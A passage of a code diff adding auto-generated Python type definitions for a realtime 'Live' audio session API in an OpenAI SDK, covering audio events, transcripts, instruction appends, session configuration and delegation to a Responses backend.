+ WebRTC and SIP sessions send audio over their media transport.
+ """
+
+ audio: str
+ """
+ Base64-encoded raw audio in the startup-selected format, without a WAV or other
+ container header. Primary WebSocket only; media transports use their audio
+ track. Audio appends have no acknowledgment. Reflected sideband server events
+ reuse this event type and audio key, with no timestamps or event_id; their audio
+ is always mono PCM16LE at 24 kHz.
+ """
+
+ type: Literal["session.input_audio.append"]
+ """The Live client event type. Always `session.input_audio.append`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_append_event_param.py b/src/openai/types/live/input_audio_append_event_param.py
new file mode 100644
index 0000000000..ece0c43a93
--- /dev/null
+++ b/src/openai/types/live/input_audio_append_event_param.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["InputAudioAppendEventParam"]
+
+
+class InputAudioAppendEventParam(TypedDict, total=False):
+ """Send audio to a Live session over its primary WebSocket.
+
+ WebRTC and SIP sessions send audio over their media transport.
+ """
+
+ audio: Required[str]
+ """
+ Base64-encoded raw audio in the startup-selected format, without a WAV or other
+ container header. Primary WebSocket only; media transports use their audio
+ track. Audio appends have no acknowledgment. Reflected sideband server events
+ reuse this event type and audio key, with no timestamps or event_id; their audio
+ is always mono PCM16LE at 24 kHz.
+ """
+
+ type: Required[Literal["session.input_audio.append"]]
+ """The Live client event type. Always `session.input_audio.append`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_mute_event.py b/src/openai/types/live/input_audio_mute_event.py
new file mode 100644
index 0000000000..f870fa45ce
--- /dev/null
+++ b/src/openai/types/live/input_audio_mute_event.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputAudioMuteEvent"]
+
+
+class InputAudioMuteEvent(BaseModel):
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+
+ type: Literal["session.input_audio.mute"]
+ """The Live client event type. Always `session.input_audio.mute`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_mute_event_param.py b/src/openai/types/live/input_audio_mute_event_param.py
new file mode 100644
index 0000000000..0e504c490b
--- /dev/null
+++ b/src/openai/types/live/input_audio_mute_event_param.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["InputAudioMuteEventParam"]
+
+
+class InputAudioMuteEventParam(TypedDict, total=False):
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+
+ type: Required[Literal["session.input_audio.mute"]]
+ """The Live client event type. Always `session.input_audio.mute`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_muted_event.py b/src/openai/types/live/input_audio_muted_event.py
new file mode 100644
index 0000000000..682f32e3b4
--- /dev/null
+++ b/src/openai/types/live/input_audio_muted_event.py
@@ -0,0 +1,27 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputAudioMutedEvent"]
+
+
+class InputAudioMutedEvent(BaseModel):
+ """Returned when a session.input_audio.mute command is accepted.
+
+ Input audio is no longer sent to the model; sideband audio reflection continues.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ type: Literal["session.input_audio.muted"]
+ """The event type, always `session.input_audio.muted`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/input_audio_unmute_event.py b/src/openai/types/live/input_audio_unmute_event.py
new file mode 100644
index 0000000000..fedc9bf2a3
--- /dev/null
+++ b/src/openai/types/live/input_audio_unmute_event.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputAudioUnmuteEvent"]
+
+
+class InputAudioUnmuteEvent(BaseModel):
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+
+ type: Literal["session.input_audio.unmute"]
+ """The Live client event type. Always `session.input_audio.unmute`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_unmute_event_param.py b/src/openai/types/live/input_audio_unmute_event_param.py
new file mode 100644
index 0000000000..a75ccf23c6
--- /dev/null
+++ b/src/openai/types/live/input_audio_unmute_event_param.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["InputAudioUnmuteEventParam"]
+
+
+class InputAudioUnmuteEventParam(TypedDict, total=False):
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+
+ type: Required[Literal["session.input_audio.unmute"]]
+ """The Live client event type. Always `session.input_audio.unmute`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/input_audio_unmuted_event.py b/src/openai/types/live/input_audio_unmuted_event.py
new file mode 100644
index 0000000000..cf559f808a
--- /dev/null
+++ b/src/openai/types/live/input_audio_unmuted_event.py
@@ -0,0 +1,27 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputAudioUnmutedEvent"]
+
+
+class InputAudioUnmutedEvent(BaseModel):
+ """Returned when a session.input_audio.unmute command is accepted.
+
+ Input audio is sent to the model again.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ type: Literal["session.input_audio.unmuted"]
+ """The event type, always `session.input_audio.unmuted`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/input_transcript_delta_event.py b/src/openai/types/live/input_transcript_delta_event.py
new file mode 100644
index 0000000000..e7ec8f7a4d
--- /dev/null
+++ b/src/openai/types/live/input_transcript_delta_event.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InputTranscriptDeltaEvent"]
+
+
+class InputTranscriptDeltaEvent(BaseModel):
+ """A transcript fragment for user input audio in the Live session.
+
+ Accumulate fragments in delivery order; these events do not define complete turns or include a transcript-done event.
+ """
+
+ delta: str
+ """The transcript text fragment for the audio in this time range.
+
+ Append fragments in delivery order to build the transcript.
+ """
+
+ end_ms: int
+ """
+ The end of this event on the Live session timeline, in milliseconds from the
+ beginning of the session. For appended context, this can equal start_ms.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ start_ms: int
+ """
+ The start of this event on the Live session timeline, in milliseconds from the
+ beginning of the session.
+ """
+
+ type: Literal["session.input_transcript.delta"]
+ """The event type, always `session.input_transcript.delta`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/instructions_append_event.py b/src/openai/types/live/instructions_append_event.py
new file mode 100644
index 0000000000..a682ace694
--- /dev/null
+++ b/src/openai/types/live/instructions_append_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InstructionsAppendEvent"]
+
+
+class InstructionsAppendEvent(BaseModel):
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+
+ content: str
+ """Instruction text to append, limited to 500 tokens.
+
+ This is a plain string, not an array of content parts.
+ """
+
+ delegation_id: Optional[str] = None
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Literal["session.instructions.append"]
+ """The Live client event type. Always `session.instructions.append`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/instructions_append_event_param.py b/src/openai/types/live/instructions_append_event_param.py
new file mode 100644
index 0000000000..34d874b666
--- /dev/null
+++ b/src/openai/types/live/instructions_append_event_param.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["InstructionsAppendEventParam"]
+
+
+class InstructionsAppendEventParam(TypedDict, total=False):
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+
+ content: Required[str]
+ """Instruction text to append, limited to 500 tokens.
+
+ This is a plain string, not an array of content parts.
+ """
+
+ delegation_id: Required[Optional[str]]
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Required[Literal["session.instructions.append"]]
+ """The Live client event type. Always `session.instructions.append`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/instructions_appended_event.py b/src/openai/types/live/instructions_appended_event.py
new file mode 100644
index 0000000000..3bc753221f
--- /dev/null
+++ b/src/openai/types/live/instructions_appended_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["InstructionsAppendedEvent"]
+
+
+class InstructionsAppendedEvent(BaseModel):
+ """
+ Returned when a session.instructions.append command is accepted into the Live session timeline. Acknowledges the appended instructions without guaranteeing that the model has acted on them.
+ """
+
+ end_ms: int
+ """
+ The end of this event on the Live session timeline, in milliseconds from the
+ beginning of the session. For appended context, this can equal start_ms.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ start_ms: int
+ """
+ The start of this event on the Live session timeline, in milliseconds from the
+ beginning of the session.
+ """
+
+ type: Literal["session.instructions.appended"]
+ """The event type, always `session.instructions.appended`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/live_create_params.py b/src/openai/types/live/live_create_params.py
new file mode 100644
index 0000000000..db23ff169f
--- /dev/null
+++ b/src/openai/types/live/live_create_params.py
@@ -0,0 +1,27 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .media_session_config_param import MediaSessionConfigParam
+
+__all__ = ["LiveCreateParams", "Transport"]
+
+
+class LiveCreateParams(TypedDict, total=False):
+ session: Required[MediaSessionConfigParam]
+ """Startup configuration for the Live session."""
+
+ transport: Required[Transport]
+ """WebRTC transport with the browser's SDP offer."""
+
+
+class Transport(TypedDict, total=False):
+ """WebRTC transport with the browser's SDP offer."""
+
+ sdp: Required[str]
+ """Session Description Protocol message for the WebRTC connection."""
+
+ type: Required[Literal["webrtc"]]
+ """The transport used for the Live session. Always `webrtc`."""
diff --git a/src/openai/types/live/live_create_response.py b/src/openai/types/live/live_create_response.py
new file mode 100644
index 0000000000..ce5dc808de
--- /dev/null
+++ b/src/openai/types/live/live_create_response.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["LiveCreateResponse", "Session", "Transport"]
+
+
+class Session(BaseModel):
+ """The newly created Live session.
+
+ Use its ID for session controls and sideband connections.
+ """
+
+ id: str
+ """Opaque session identifier.
+
+ Preserve the returned value unchanged, including its prefix.
+ """
+
+
+class Transport(BaseModel):
+ """WebRTC transport with the SDP answer."""
+
+ sdp: str
+ """Session Description Protocol message for the WebRTC connection."""
+
+ type: Literal["webrtc"]
+ """The transport used for the Live session. Always `webrtc`."""
+
+
+class LiveCreateResponse(BaseModel):
+ """The created Live session identifier and WebRTC answer.
+
+ Apply transport.sdp as the peer's remote answer and wait for session.started on the data channel before sending commands.
+ """
+
+ session: Session
+ """The newly created Live session.
+
+ Use its ID for session controls and sideband connections.
+ """
+
+ transport: Transport
+ """WebRTC transport with the SDP answer."""
diff --git a/src/openai/types/live/media_session_config_param.py b/src/openai/types/live/media_session_config_param.py
new file mode 100644
index 0000000000..f0c259cba2
--- /dev/null
+++ b/src/openai/types/live/media_session_config_param.py
@@ -0,0 +1,119 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .built_in_voice import BuiltInVoice
+from .custom_voice_param import CustomVoiceParam
+from .initial_item_param import InitialItemParam
+from .client_config_param import ClientConfigParam
+from .client_delegation_param import ClientDelegationParam
+from .responses_delegation_config_param import ResponsesDelegationConfigParam
+
+__all__ = ["MediaSessionConfigParam", "Audio", "AudioOutput", "AudioOutputVoice", "Delegation", "DelegationResponses"]
+
+AudioOutputVoice: TypeAlias = Union[str, BuiltInVoice, CustomVoiceParam]
+
+
+class AudioOutput(TypedDict, total=False):
+ """Settings for speech generated by the Live model.
+
+ Choose the voice before starting the session.
+ """
+
+ voice: AudioOutputVoice
+ """
+ The voice used for Live speech, as a built-in voice name or a custom voice
+ object containing its ID. Defaults to `marin` and cannot change after startup.
+ """
+
+
+class Audio(TypedDict, total=False):
+ """Startup audio configuration.
+
+ WebRTC and SIP negotiate their audio format on the media transport.
+ """
+
+ output: AudioOutput
+ """Settings for speech generated by the Live model.
+
+ Choose the voice before starting the session.
+ """
+
+
+class DelegationResponses(TypedDict, total=False):
+ """Delegate tasks to a Responses model managed by the Live session."""
+
+ responses: Required[ResponsesDelegationConfigParam]
+ """
+ Backend model, prompt, and tools used when the Live session delegates a task to
+ Responses.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+
+Delegation: TypeAlias = Union[ClientDelegationParam, DelegationResponses]
+
+
+class MediaSessionConfigParam(TypedDict, total=False):
+ """Startup configuration for a Live media session.
+
+ Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend instructions and the backend prompt under delegation.responses.instructions.
+ """
+
+ model: Required[Union[str, Literal["gpt-live-1"]]]
+ """The Live model.
+
+ Required in the session configuration for every transport; do not pass it as a
+ URL query parameter.
+ """
+
+ audio: Audio
+ """Startup audio configuration.
+
+ WebRTC and SIP negotiate their audio format on the media transport.
+ """
+
+ client: ClientConfigParam
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC
+ session. Trusted sideband connections are unaffected.
+ """
+
+ delegation: Optional[Delegation]
+ """Who handles tasks delegated by the Live model.
+
+ Omitted or null selects your application; use `responses` to let the API manage
+ a Responses backend.
+ """
+
+ input: Iterable[InitialItemParam]
+ """Ordered text-only history supplied before startup.
+
+ Supports developer, user, and assistant messages with one text part each; at
+ most 128 messages and 8,192 rendered tokens in total.
+ """
+
+ instructions: Optional[str]
+ """
+ Frontend instructions for voice, conversation, interruptions, and when to
+ delegate. Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting);
+ put business rules and tool workflows in a separate
+ [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ Limited to 16,384 client-supplied tokens. Omitted or blank instructions use
+ server defaults. Immutable after startup.
+ """
+
+ store: bool
+ """Whether to store the session for later forking and recording download.
+
+ Defaults to false for new sessions.
+ """
diff --git a/src/openai/types/live/media_session_fork_config_param.py b/src/openai/types/live/media_session_fork_config_param.py
new file mode 100644
index 0000000000..3bc95297f3
--- /dev/null
+++ b/src/openai/types/live/media_session_fork_config_param.py
@@ -0,0 +1,53 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .client_config_param import ClientConfigParam
+from .responses_delegation_update_config_param import ResponsesDelegationUpdateConfigParam
+
+__all__ = ["MediaSessionForkConfigParam", "Delegation"]
+
+
+class Delegation(TypedDict, total=False):
+ """
+ Update the Responses backend for an existing Live session without changing delegation ownership.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+ responses: ResponsesDelegationUpdateConfigParam
+ """Responses backend settings to update.
+
+ Omitted settings keep their existing values.
+ """
+
+
+class MediaSessionForkConfigParam(TypedDict, total=False):
+ """Optional overrides for a stored Live session.
+
+ Omitted settings are inherited. The model, voice, frontend instructions, and prior conversation come from the stored session. WebRTC negotiates its audio format; audio.format is only supported on WebSocket forks.
+ """
+
+ client: ClientConfigParam
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC
+ session. Trusted sideband connections are unaffected.
+ """
+
+ delegation: Delegation
+ """
+ Update the Responses backend for an existing Live session without changing
+ delegation ownership.
+ """
+
+ store: bool
+ """Whether to store the forked session.
+
+ Omission inherits the stored session's setting.
+ """
diff --git a/src/openai/types/live/output_audio_delta_event.py b/src/openai/types/live/output_audio_delta_event.py
new file mode 100644
index 0000000000..9ec7e27196
--- /dev/null
+++ b/src/openai/types/live/output_audio_delta_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["OutputAudioDeltaEvent"]
+
+
+class OutputAudioDeltaEvent(BaseModel):
+ """An audio chunk generated by the Live model.
+
+ Decode and play primary WebSocket chunks in delivery order using the configured session audio format. Sideband connections receive reflected output audio with timestamps.
+ """
+
+ delta: str
+ """Base64-encoded raw audio.
+
+ Primary WebSocket events use the session's configured format; reflected sideband
+ events use mono PCM16LE at 24 kHz.
+ """
+
+ type: Literal["session.output_audio.delta"]
+ """The event type, always `session.output_audio.delta`."""
+
+ end_ms: Optional[int] = None
+ """Exclusive session-relative end in milliseconds.
+
+ Required on reflected sideband events; omitted on the primary WebSocket. Dropped
+ output frames leave gaps between reflected ranges.
+ """
+
+ start_ms: Optional[int] = None
+ """Inclusive session-relative start in milliseconds.
+
+ Required on reflected sideband events; omitted on the primary WebSocket.
+ """
diff --git a/src/openai/types/live/output_transcript_delta_event.py b/src/openai/types/live/output_transcript_delta_event.py
new file mode 100644
index 0000000000..6463888290
--- /dev/null
+++ b/src/openai/types/live/output_transcript_delta_event.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["OutputTranscriptDeltaEvent"]
+
+
+class OutputTranscriptDeltaEvent(BaseModel):
+ """A transcript fragment for assistant output audio in the Live session.
+
+ Accumulate fragments in delivery order; these events do not define complete turns or include a transcript-done event.
+ """
+
+ delta: str
+ """The transcript text fragment for the audio in this time range.
+
+ Append fragments in delivery order to build the transcript.
+ """
+
+ end_ms: int
+ """
+ The end of this event on the Live session timeline, in milliseconds from the
+ beginning of the session. For appended context, this can equal start_ms.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ start_ms: int
+ """
+ The start of this event on the Live session timeline, in milliseconds from the
+ beginning of the session.
+ """
+
+ type: Literal["session.output_transcript.delta"]
+ """The event type, always `session.output_transcript.delta`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/response_create_event.py b/src/openai/types/live/response_create_event.py
new file mode 100644
index 0000000000..dbcbc4f8f1
--- /dev/null
+++ b/src/openai/types/live/response_create_event.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseCreateEvent"]
+
+
+class ResponseCreateEvent(BaseModel):
+ """
+ Request a response from the Live session’s Responses backend, or continue a delegated response waiting for tool results. Requires Responses delegation.
+ """
+
+ type: Literal["response.create"]
+ """The Live client event type. Always `response.create`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/response_create_event_param.py b/src/openai/types/live/response_create_event_param.py
new file mode 100644
index 0000000000..3c190888b7
--- /dev/null
+++ b/src/openai/types/live/response_create_event_param.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["ResponseCreateEventParam"]
+
+
+class ResponseCreateEventParam(TypedDict, total=False):
+ """
+ Request a response from the Live session’s Responses backend, or continue a delegated response waiting for tool results. Requires Responses delegation.
+ """
+
+ type: Required[Literal["response.create"]]
+ """The Live client event type. Always `response.create`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/response_event.py b/src/openai/types/live/response_event.py
new file mode 100644
index 0000000000..99adf3b2fa
--- /dev/null
+++ b/src/openai/types/live/response_event.py
@@ -0,0 +1,41 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseEvent"]
+
+
+class ResponseEvent(BaseModel):
+ """A streaming Responses API event from a backend delegated to by the Live session.
+
+ Use the outer delegation_id to associate the nested stream with its Live delegation.
+ """
+
+ event: Dict[str, object]
+ """The nested Responses streaming event.
+
+ Dispatch on its type field. Response lifecycle snapshots omit input and clear
+ instructions, tools, and output to keep messages small; consume granular output
+ events for the generated content.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ type: Literal["response.event"]
+ """The event type, always `response.event`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
+
+ delegation_id: Optional[str] = None
+ """The Live delegation associated with the nested Responses event.
+
+ May be null or omitted when the event cannot be correlated with a delegation.
+ """
diff --git a/src/openai/types/live/response_item_create_event.py b/src/openai/types/live/response_item_create_event.py
new file mode 100644
index 0000000000..aee309db79
--- /dev/null
+++ b/src/openai/types/live/response_item_create_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from ..responses.response_input_item import ResponseInputItem
+
+__all__ = ["ResponseItemCreateEvent"]
+
+
+class ResponseItemCreateEvent(BaseModel):
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+
+ item: ResponseInputItem
+ """
+ An input item to append to the Responses backend conversation, such as a user
+ message or a function tool result.
+ """
+
+ type: Literal["response.item.create"]
+ """The Live client event type. Always `response.item.create`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/response_item_create_event_param.py b/src/openai/types/live/response_item_create_event_param.py
new file mode 100644
index 0000000000..e409aa94c2
--- /dev/null
+++ b/src/openai/types/live/response_item_create_event_param.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from ..responses.response_input_item_param import ResponseInputItemParam
+
+__all__ = ["ResponseItemCreateEventParam"]
+
+
+class ResponseItemCreateEventParam(TypedDict, total=False):
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+
+ item: Required[ResponseInputItemParam]
+ """
+ An input item to append to the Responses backend conversation, such as a user
+ message or a function tool result.
+ """
+
+ type: Required[Literal["response.item.create"]]
+ """The Live client event type. Always `response.item.create`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/responses_delegation_config.py b/src/openai/types/live/responses_delegation_config.py
new file mode 100644
index 0000000000..1d8c548a23
--- /dev/null
+++ b/src/openai/types/live/responses_delegation_config.py
@@ -0,0 +1,120 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .function_tool import FunctionTool
+
+__all__ = [
+ "ResponsesDelegationConfig",
+ "Reasoning",
+ "Text",
+ "ToolChoice",
+ "ToolChoiceLiveFunctionToolChoiceParam",
+ "ToolChoiceLiveMCPToolChoiceParam",
+ "Tool",
+ "ToolWebSearch",
+]
+
+
+class Reasoning(BaseModel):
+ """Reasoning settings passed to each delegated Responses request."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh"]] = None
+ """How much reasoning effort the delegated Responses model should use.
+
+ Supported values depend on the backend model.
+ """
+
+ summary: Optional[Literal["concise", "detailed", "auto"]] = None
+ """
+ The reasoning summary to request from the delegated Responses model, when
+ supported.
+ """
+
+
+class Text(BaseModel):
+ """Text generation settings passed to each delegated Responses request."""
+
+ verbosity: Optional[Literal["low", "medium", "high"]] = None
+ """The amount of detail in text generated by the Responses backend.
+
+ This does not configure the Live model’s spoken delivery.
+ """
+
+
+class ToolChoiceLiveFunctionToolChoiceParam(BaseModel):
+ name: str
+
+ type: Literal["function"]
+
+
+class ToolChoiceLiveMCPToolChoiceParam(BaseModel):
+ name: str
+
+ server_label: str
+
+ type: Literal["mcp"]
+
+
+ToolChoice: TypeAlias = Union[
+ Literal["auto", "none", "required"], ToolChoiceLiveFunctionToolChoiceParam, ToolChoiceLiveMCPToolChoiceParam
+]
+
+
+class ToolWebSearch(BaseModel):
+ """A web search tool available to the Live session’s Responses backend."""
+
+ type: Literal["web_search"]
+ """The tool type. Always `web_search`."""
+
+
+Tool: TypeAlias = Annotated[Union[FunctionTool, ToolWebSearch], PropertyInfo(discriminator="type")]
+
+
+class ResponsesDelegationConfig(BaseModel):
+ """
+ Model, prompt, and tool settings for tasks delegated by the Live session to a Responses backend.
+ """
+
+ model: str
+ """The model used for server-owned Responses delegations."""
+
+ instructions: Optional[str] = None
+ """Instructions for the delegated Responses model, separate from Live instructions.
+
+ See
+ [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ """
+
+ max_output_tokens: Optional[int] = None
+ """Maximum number of output tokens for each delegated response."""
+
+ parallel_tool_calls: Optional[bool] = None
+ """
+ Whether the delegated Responses model may request multiple tool calls in a
+ single response.
+ """
+
+ reasoning: Optional[Reasoning] = None
+ """Reasoning settings passed to each delegated Responses request."""
+
+ service_tier: Optional[Literal["auto", "default", "fast_tier_temp_pilot", "flex", "priority", "ultrafast"]] = None
+ """Service tier for delegated Responses requests."""
+
+ text: Optional[Text] = None
+ """Text generation settings passed to each delegated Responses request."""
+
+ tool_choice: Optional[ToolChoice] = None
+ """
+ Controls which tool the Responses backend uses when handling a task delegated by
+ the Live model.
+ """
+
+ tools: Optional[List[Tool]] = None
+ """
+ Tools available to the Responses backend while it handles tasks delegated by the
+ Live model.
+ """
diff --git a/src/openai/types/live/responses_delegation_config_param.py b/src/openai/types/live/responses_delegation_config_param.py
new file mode 100644
index 0000000000..1e7e58b6ec
--- /dev/null
+++ b/src/openai/types/live/responses_delegation_config_param.py
@@ -0,0 +1,120 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .function_tool_param import FunctionToolParam
+
+__all__ = [
+ "ResponsesDelegationConfigParam",
+ "Reasoning",
+ "Text",
+ "ToolChoice",
+ "ToolChoiceLiveFunctionToolChoiceParam",
+ "ToolChoiceLiveMCPToolChoiceParam",
+ "Tool",
+ "ToolWebSearch",
+]
+
+
+class Reasoning(TypedDict, total=False):
+ """Reasoning settings passed to each delegated Responses request."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh"]]
+ """How much reasoning effort the delegated Responses model should use.
+
+ Supported values depend on the backend model.
+ """
+
+ summary: Optional[Literal["concise", "detailed", "auto"]]
+ """
